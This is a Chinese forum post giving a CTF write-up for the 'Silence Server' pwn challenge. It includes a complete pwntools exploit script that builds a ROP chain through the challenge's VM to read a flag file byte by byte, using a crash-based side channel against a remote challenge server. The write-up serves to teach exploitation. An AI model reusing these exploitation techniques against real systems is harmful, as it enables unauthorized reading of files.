首页
社区
课程
招聘
2
[原创]CTF2017 第九题 Silence Server 解题报告
发表于: 2017-6-19 00:42 6993

[原创]CTF2017 第九题 Silence Server 解题报告

2017-6-19 00:42
6993

这题又是一个 pwn,促使我觉得自身的水平实在不够(第四题就用完了),就去学习各路 dalao 的 writeup,附赠一篇

体会到几个工具的便利

学到几个 pwn 关键词

在做这题的过程中踩了无数坑,我会在 writeup 中提到部分坑点(毕竟踩完坑才能写出这篇)

这题"可谓集大成也",我会分 反汇编、pwn 两大部分阐明

主函数流程比较简单,就不贴代码了

该部分代码很长也比较晦涩,感觉要纯靠经验和耐心看完,所以我只附上虚拟机的指令解释。

这个虚拟机是基于堆栈的虚拟机,函数内有个 1000 字节的堆栈数组变量,我就命名为 buf 吧(其实命名 stack 更合理),本文之后出现的 buf 没特殊说明外均指该数组,命名 栈顶指针 为 bufp,定义 次顶层堆栈 为 栈次(bufp-1)

有几个坑点要注意

我们有在 执行虚拟机 函数内随意而又精准得操控 buf 变量之后堆栈的能力,能在这个函数末尾构建 ROP

看到 dalao 们一开始都会做这个,学习一下 ./checksec.sh --file Silence_Server

seccomp 是个能在程序中开启的沙盒,能根据规则限制自身以及子进程的 syscall 访问,先贴个代码看程序准我们干什么

记录坑点,之前我还不知道 seccomp 沙盒机制的时候,看到放行了 execve,就自认为能调用system("/bin/sh")了,然后洋洋洒洒的写了一大板 ROP 准备测试。什么!!错误的系统调用,看来被 seccomp 限制住了,然后尝试 execve("/bin/sh",0,0) 也是一样,最后自己写个简易的测试代码,在这个规则下,连空程序都无法启动,血的教训,一定要先写测试代码

我反复思考了规则内能使用的 syscall,都没有想出任何用法,没有 mprotect,不能把堆栈变为可执行,brk 也只能更改 映射的下限,其他的都是文件操作了,难道就没有路走了么?

程序题干里,与第四题不同的是详细的说明了 flag 的路径/home/pwn/flag,提示了我这题应该要用 open 直接 read 内容

突然脑袋里闪过这一题的标题 Silence Server,silence 是沉默的意思,我想到了一个就算不输出,不说话也能够交流的办法。我可以问程序:第一位是 a 么?不是的话程序退出了,是的话程序正常进行。这样考虑,就算不用说话只要它能听懂就能够交流出结果

从构思看我们需要

从堆栈转移到参数寄存器的利用点,64 位 linux,调用约定前三个参数是 rdi、rsi、rdx,大家也可以用 ROPgadget 工具,我用的是 keypatch 生成字节码,用 winhex 搜索

在 libc.so +0x1726C0 有个 0-255 的表

因为服务器对传输敏感,send 间的延迟时间需要反复调整,记录坑点,调整这个时间也花了不少时间(没有经验),有时候还怀疑自己的 payload 有问题,但手动又没问题,本地也没问题,结果是在这个 sleep 上,代码里是经过多重考核的非常稳定的延迟时间。因为单字符测试等待的时间较久,设计成了参数模式用来多进程执行




图1

图1


图2

图2

图3
图3

图4
图4



图5


图5

图6
图6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import numpy as np
= np.array([
    [3097131063182112391120327209212014917477],
    [2005120359166993112120641236332975925111],
    [2594327073255612333326099172912745730839],
    [2987318313291672541132191189591907916879],
    [1660729437194693244128859205092358126849],
    [1682319927261611886919973269811743126633],
    [2682119073283493057725793220913139726947],
    [2533917737308172618329629226912779319447]
])
= np.array([1498535214962906163610241498262416152948147207141672291015883204])
= np.linalg.solve(a,b)
print str(bytearray(np.rint(r).astype(np.uint8))).encode("hex")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void seccompinit()
{
  LODWORD(ctx) = seccomp_init(0LL);
  if ( !ctx )
  {
    LODWORD(v0) = 0;
    BUG();
  }
  ctx_ = ctx;
  seccomp_arch_add(ctx, 0xC000003ELL);          // SCMP_ARCH_X86_64
  allow_syscall(ctx_, 0);                       // sys_read
  allow_syscall(ctx_, 2u);                      // sys_open
  allow_syscall(ctx_, 3u);                      // sys_close
  allow_syscall(ctx_, 4u);                      // sys_newstat
  allow_syscall(ctx_, 5u);                      // sys_newfstat
  allow_syscall(ctx_, 6u);                      // sys_newlstat
  allow_syscall(ctx_, 7u);                      // sys_poll
  allow_syscall(ctx_, 8u);                      // sys_lseek
  allow_syscall(ctx_, 12u);                     // sys_brk
  allow_syscall(ctx_, 59u);                     // stub_execve
  seccomp_load(ctx_);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
from Crypto.Cipher import DES
import struct
import time
import sys
def enc(s):
    key = "3378704c30723352".decode("hex")
    des = DES.new(key, mode=DES.MODE_CBC, IV=key)
    return des.encrypt(s)
def savebase(ori, diff, dst):
    = chr(22+ struct.pack("<Q", diff)
    # ↑压入地址与基址的偏移,作为减法的减数
    += chr(22+ struct.pack("<Q", ori)
    += chr(20)
    # 从 buf[ori] 获取值压入被减数,一般获取的是 ASLR 当前地址
    += chr(17)
    # 减完以后栈顶就成了想保存的 ASLR 当前基址了
    += chr(22+ struct.pack("<Q", dst)
    += chr(21)
    # 把基址存入 buf[dst] 的地方
    return r
def savelibc():
    # 调用堆栈中 __libc_start_main 返回地址在 buf[1013] 处
    # 相对 libc.so 地址为 0x21B35,拿到基址存在 buf[999]
    return savebase(10130x21B35999)
def saveexe():
    # 调用堆栈中 虚拟机执行 返回地址在 buf[1009] 处
    # 相对 Silence_Server 地址为 0xa4c,拿到基址存在 buf[998]
    return savebase(10090xa4c998)
def saversp():
    # buf[1015] 存了一个堆栈地址可以被利用
    # 存的地址相对于 __libc_start_main 返回地址为 28*8(可以用 gdb 在启动时看到)
    # 所以相对于 buf 的偏移就为 (1013 + 28)*8,拿到 buf地址 存在 buf[997]
    return savebase(1015, (1013 + 28)*8997)
def pushaddr(solt, diff, dst):
    = chr(22+ struct.pack("<Q", diff)
    # ↑压入地址与基址的偏移,作为加法的加数
    += chr(22+ struct.pack("<Q", solt)
    += chr(20)
    # 从 buf[solt] 获取值压入另一加数,一般获取的是 ASLR 当前基址
    += chr(16)
    # 加完以后栈顶就成了想使用的 ASLR 当前地址了
    += chr(22+ struct.pack("<Q", dst)
    += chr(21)
    # 把地址存入 buf[dst] 的地方
    return r
def pushlibc(diff, dst):
    # 取出 libc.so 偏移后地址到 buf[dst]
    return pushaddr(999, diff, dst)
def pushexe(diff, dst):
    # 取出 Silence_Server 偏移后地址到 buf[dst]
    return pushaddr(998, diff, dst)
def pushrsp(diff, dst):
    # 取出 buf 偏移后地址到 buf[dst],和上面不同的是 diff 是按 buf 索引传入的
    return pushaddr(997, diff*8, dst)
def pushim(im, dst):
    = chr(22+ struct.pack("<Q", im)
    # ↑压入立即数到栈顶(只能是正数)
    += chr(22+ struct.pack("<Q", dst)
    += chr(21)
    # 将立即数保存到 buf[dst]
    return r
def setp0(dst):
    # gadget: pop rdi;ret 在 Silence_Server 偏移 0xfe3 的地方
    # 可以把下一个堆栈传入第一个参数
    return pushexe(0xfe3, dst)
def setp1(dst):
    # gadget: pop rsi;ret 在 libc.so 偏移 0x21747 的地方
    # 可以把下一个堆栈传入第二个参数
    return pushlibc(0x21747, dst)
def setp2(dst):
    # gadget: pop rdx;ret 在 libcs.so 偏移 0xba6c0 的地方
    # 可以把下一个堆栈传入第三个参数
    return pushlibc(0xba6c0, dst)
def makerop(idx, cc):
    # 返回地址在 buf[1009]
    pos = 1009
    # 保存所有基址
    rop = savelibc()
    rop += saveexe()
    rop += saversp()
    # 构建ROP
    rop += setp0(pos); pos += 1
    rop += pushrsp(1009 + 6, pos); pos += 1
    # ↑第一个参数传预打开的文件名地址,指向6个堆栈后,之后会压入文件名
    rop += setp1(pos); pos += 1
    rop += pushim(0, pos); pos += 1
    # 第二个参数传只读打开(0)
    rop += pushlibc(0xE8A09, pos); pos += 1
    # 调用 __open_nocancel,在 libc.so 偏移 0xE8A09
    rop += pushexe(0xFE0, pos); pos += 1
    # gadget: pop r14;pop r15;ret 清除后两个堆栈,在 Silence_Server 偏移 0xFE0
    #/home/pwn/flag 拆分成2部分 /home/pw n/flag\0\0
    rop += pushim(long("/home/pw"[::-1].encode("hex"), 16), pos); pos += 1
    rop += pushim(long("n/flag\0\0"[::-1].encode("hex"), 16), pos); pos += 1
    rop += setp0(pos); pos += 1
    rop += pushim(3, pos); pos += 1
    # 第一个参数文件号,这个程序之前没文件打开一般都是 3
    rop += setp1(pos); pos += 1
    rop += pushexe(0x207800, pos); pos += 1
    # 第二个参数读出缓存,我选了 Silence_Server 偏移 0x207800 的地方
    # 这个地方属于 data 段可写,因为是对齐部分,程序自身不可能用到
    rop += setp2(pos); pos += 1
    rop += pushim(64, pos); pos += 1
    # 第三个参数读取字节数,64字节就够了
    rop += pushlibc(0xE8BF9, pos); pos += 1
    # 调用 __read_nocancel,在 libc.so 偏移 0xE8BF9
    rop += setp0(pos); pos += 1
    rop += pushexe(0x207800 + idx, pos); pos += 1
    # 第一个参数待比较地址1,我传入的是读入内容的 idx 偏移,也就现在测第几个字符了
    rop += setp1(pos); pos += 1
    rop += pushlibc(0x1726C0 + cc, pos); pos += 1
    # 第二个参数待比较地址2,在 libc.so 偏移 0x1726C0 的地方有个 0-255 的表可以利用
    rop += setp2(pos); pos += 1
    rop += pushim(1, pos); pos += 1
    # 第三个参数比较字节数,就比较一个字符
    rop += pushlibc(0x890C0, pos); pos += 1
    # 调用 __memcmp_sse2,在 libc.so 偏移 0x890C0
    rop += pushexe(0xBB4, pos); pos += 1
    # gadget: Silence_Server 偏移 0xBB4 的地方有个返回值 rax 判断
    # 可以利用成字符不相等程序发生写0崩溃
    rop += pushim(0, pos); pos += 1
    # 上面的函数返回前有个 rsp+8 的操作
    rop += pushexe(0xA36, pos); pos += 1
    # 如果字符相等,又返回 main 中调用 获取输入 的地方
    # 主要是为了使用里面的 read 函数
    rop += pushim(0, pos); pos += 1
    # 上面的函数需要 rsp+4 保存返回长度,其实这条没有也可以
    rop += chr(22+ struct.pack("<Q"0)
    # 虚拟机执行完毕后必须栈不能空,要不崩溃
    rop += chr(31)
    # 虚拟机代码不能执行完必须中途退出,要不崩溃(这两个什么鬼)
    # 补充 nop 指令至8字节对齐,获取输入部分是 单位长度*8 的
    roplen = len(rop)
    for in xrange((roplen +7)/8*8 - roplen):
        rop += chr(29)
    return len(rop)/8, enc(rop)
def test(net, ss, ee):
    ret = ""
    import pwn
    for ii in xrange(ss, ee):
        ok = False
        for cc in xrange(0x7F-1-1): #小写字母多的话,从后面会快
            if cc != 0 and cc <= 0x20:
                # 跳过不可见
                continue
            roplen, rop = makerop(ii, cc)
            if net:
                = pwn.remote("211.159.216.90"51888)
            else:
                = pwn.process("/root/Silence_Server")
            time.sleep(0.5)
            p.send(chr(roplen)) # 输入单位长度
            time.sleep(0.5)
            p.send("3378704c30723352".decode("hex")) # 输入 des 密码
            time.sleep(1)
            p.send(rop) # 发送 rop
            time.sleep(1)
            ok = True
            try:
                p.send(chr(1))
                time.sleep(1)
                p.send(chr(1)) # 一般要第二次发送才会触发网络异常
            except:
                ok = False
            if ok:
                if cc == 0:
                    # 比较到字符串末尾 0 结束
                    print "finish"
                    print ret
                    sys.exit(0)
                else:
                    # 打印该位置成功的字符
                    print ii, chr(cc)
                    ret += chr(cc)
                    break
        if not ok:
            # 如果一个字符都没比较成功肯定出问题了
            print "what?"
            sys.exit(0)
    print ret
test(Trueint(sys.argv[1]), int(sys.argv[2]))

[注意]看雪招聘,专注安全领域的专业人才平台!

收藏
免费 2
支持
分享
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞~
2022-7-27 02:19
新手慢慢来
为你点赞~
2019-3-25 13:20
最新回复 (5)
雪    币: 112
活跃值: (37)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2017-6-19 12:28
0
雪    币: 13713
活跃值: (2846)
能力值: ( LV15,RANK:2663 )
在线值:
发帖
回帖
粉丝
3
学习了。libc中的push  rax;ret;  再配合上pop  rdi;ret;就可以将前返回用于下一个调用的第一个参数了。libc中还有pop  rdx;pop  rsi;ret。
2017-6-19 12:40
0
雪    币: 2575
活跃值: (502)
能力值: ( LV6,RANK:85 )
在线值:
发帖
回帖
粉丝
4
没想到pwn也是这么好玩,学习学习
2017-6-19 13:43
0
雪    币: 3502
活跃值: (1528)
能力值: ( LV15,RANK:1057 )
在线值:
发帖
回帖
粉丝
5
poyoten 学习了。libc中的push rax;ret; 再配合上pop rdi;ret;就可以将前返回用于下一个调用的第一个参数了。libc中还有pop rdx;pop rsi;ret。
push    rax;ret  这个我也是想了下,但没有搜,我想不会有这种奇怪的汇编吧,没想到真有
2017-6-20 09:49
0
雪    币: 4357
活跃值: (994)
能力值: ( LV8,RANK:142 )
在线值:
发帖
回帖
粉丝
6
最近才做此题,其中遇到了一个问题,希望大家帮帮我:
创建ROP时用到了__open_nocancel,在我的本地libc.so.6中,该函数内部调用了syscall sys_openat。为了清楚流程,先选择在本地调试进程, 发现每次运行到__open_nocancel("/home/pwn/flag", 0)时程序都会在调用syscall的地方退出,返回错误码31,如下面两个图所示。


因而无法得出正确结果。linux下不允许跟踪调试 syscall吗?
2018-7-2 16:03
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册